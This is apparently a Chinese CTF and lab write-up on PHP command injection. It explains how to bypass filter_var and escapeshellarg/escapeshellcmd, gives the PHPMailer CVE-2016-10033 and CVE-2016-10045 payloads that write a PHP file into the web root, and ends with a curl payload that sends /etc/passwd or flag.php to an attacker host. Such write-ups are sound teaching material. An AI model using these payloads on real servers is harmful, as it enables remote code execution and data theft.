PHP-Audit-Labs
靶场地址:https://www.ripstech.com/php-security-calendar-2017/
查看最为主要的mail函数,该处曾有过命令执行漏洞
1 | bool mail ( |
其参数含义分别表示如下:
to,指定邮件接收者,即接收人
subject,邮件的标题
message,邮件的正文内容
additional_headers,指定邮件发送时其他的额外头部,如发送者From,抄送CC,隐藏抄送BCC
additional_parameters,指定传递给发送程序sendmail的额外参数。
在Linux系统上, php 的 mail 函数在底层中已经写好了,默认调用 Linux 的 sendmail 程序发送邮件。而在额外参数( additional_parameters )中, sendmail 主要支持的选项有以下三种:
-O option = value
QueueDirectory = queuedir 选择队列消息
-X logfile
这个参数可以指定一个目录来记录发送邮件时的详细日志情况。
-f from email
这个参数可以让我们指定我们发送邮件的邮箱地址。
此题而外添加了两处函数进行过滤
filter_var() 函数的定义:
filter_var :使用特定的过滤器过滤一个变量
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
功能 :这里主要是根据第二个参数filter过滤一些想要过滤的东西。
关于 filter_var() 中 FILTER_VALIDATE_EMAIL 这个选项作用,我们可以看看这个帖子 PHP FILTER_VALIDATE_EMAIL 。这里面有个结论引起了我的注意: none of the special characters in this local part are allowed outside quotation marks ,表示所有的特殊符号必须放在双引号中。 filter_var() 问题在于,我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗 filter_val() 使其认为我们仍然在双引号中,这样我们就可以绕过检测。下面举个简单的例子,方便理解:
传入 isnoallow@example.com
此前PHP-Audit-Labs — Day2 filter_var()函数缺陷,讲述了存在xss伪协议绕过构成xss漏洞还有ssrf漏洞
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(),system() 执行运算符(反引号)
定义 :string escapeshellarg ( string $arg )
逃逸实例;
传入的参数是
1 | 127.0.0.1' -v -d a=1 |
由于escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:
1 | '127.0.0.1'\'' -v -d a=1' |
接着 escapeshellcmd 函数对第二步处理后字符串中的 \ 以及 a=1' 中的单引号进行转义处理,结果如下所示:
1 | '127.0.0.1'\\'' -v -d a=1\' |
由于第三步处理之后的payload中的 \ 被解释成了 \ 而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分,具体如下所示:
所以这个payload可以简化为 curl 127.0.0.1\ -v -d a=1'
,即向 127.0.0.1\ 发起请求,POST 数据为 a=1' 。
总结一下,这题实际上是考察绕过 filter_var() 函数的邮件名检测,通过 mail 函数底层实现中调用的 escapeshellcmd() 函数处理字符串,再结合 escapeshellarg() 函数,最终实现参数逃逸,导致 远程代码执行
实例分析
主要是通过了CVE-2016-10033
CVE-2016-10045
两个漏洞介绍了phpmail命令执行漏洞。与CVE-2016-10033
不同的是CVE-2016-10045
只添加了一个'
从而绕过了 escapeshellcmd
和 escapeshellarg
的函数防护处理
CVE-2016-10033 payload
1 | a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com |
CVE-2016-10045 payloadl
1 | a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com |
修复建议
我们来看一下 PHPMailer 官方给出的修复代码。官方对用户传入的参数进行检测,如果当中存在被转义的字符,则不传递 -f 参数(-f 参数表示发邮件的人,如果不传递该参数,我们的payload就不会被带入 mail 函数,也就不会造成命令执行),所以不建议大家同时使用 escapeshellcmd() 和 escapeshellarg() 函数对参数进行过滤,具体修复代码如下:
CTF
考点一:preg_match 过滤掉flag关键词
但是同时在10-17行存在着可变变量,
首先 第10行 ,循环获取字符串 GET、POST、COOKIE ,并依次赋值给变量 $R 。在 第11行 中先判断 $$R 变量是否存在数据,如果存在,则继续判断超全局数组 GET、POST、COOKIE 中是否存在键值相等的,如果存在,则删除该变量。
使用
其中$$R
是$['_GET']、$['_POST']、$['_COOKIE']
我通过 GET 请求向 index.php 提交 flag=test ,接着通过 POST 请求提交 _GET[flag]=test 。当开始遍历 $_POST 超全局数组的时候, $k 代表 _GET[flag] ,所以 $$k 就是 $_GET[flag] ,即 test 值,此时 $$k == $v 成立,变量 $_GET[flag] 就被 unset 了。但是在 第21行 和 22行 有这样一串代码:
1 | if($_POST) extract($_POST, EXTR_SKIP); |
extract 函数的作用是将对象内的键名变成一个变量名,而这个变量对应的值就是这个键名的值, EXTR_SKIP 参数表示如果前面存在此变量,不对前面的变量进行覆盖处理。由于我们前面通过 POST 请求提交 _GET[flag]=test ,所以这里会变成 $_GET[flag]=test ,这里的 $_GET 变量就不需要再经过 waf 函数检测了,也就绕过了 preg_match('/flag/i',$key) 的限制。
考点二:MD5函数漏洞
1 | if(md5($_GET['flag'] ) == md5($_GET['hongri'])) |
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。
以下值在md5加密后以0E开头:
1 | QNKCDZO |
以下值在sha1加密后以0E开头:
1 | sha1(‘aaroZmOk’) |
GET传入a=QNKCDZO&b=240610708就能绕过
考点三:escapeshellarg() 和 escapeshellcmd() 函数冲突
escapeshellarg ,将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
escapeshellcmd ,会对以下的字符进行转义&#;|*?~<>^()[]{}$, x0A 和 xFF, ' 和 "仅在不配对的时候被转义。
在字符串增加了引号同时会进行转义,那么之前的payload
1 | http://127.0.0.1/index1.php?url=http://127.0.0.1 -T /etc/passwd |
因为增加了 '
进行了转义,所以整个字符串会被当成参数。注意 escapeshellcmd
的问题是在于如果 ' 和 " 仅在不配对儿的时候被转义。那么如果我们多增加一个 ' 就可以扰乱之前的转义了。如下:
在 curl 中存在 -F
提交表单的方法,也可以提交文件。 -F <key=value>
向服务器POST表单,例如: curl -F "web=@index.html;type=text/html" url.com
。提交文件之后,利用代理的方式进行监听,这样就可以截获到文件了,同时还不受最后的的影响。那么最后的payload为:
1 | http://baidu.com/' -F file=@/etc/passwd -x vps:9999 |
这里应该是和 curl 版本有关系,我在 7.54.0 下没有测试成功。
题目中的 curl 版本是 7.19.7
根据猜测,可能在是新版本中,先会执行 curl http 的操作,但是由于在后面增加了,例如 http://127.0.0.1, 但是curl无法找到这样的文件,出现404。出现404之后,后面的提交文件的操作就不进行了,程序就退出了。这样在vps上面就无法接受到文件了。
解答payload
1 | POST /index.php?flag=QNKCDZO&hongri=s878926199a&url=http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999 HTTP/1.1 |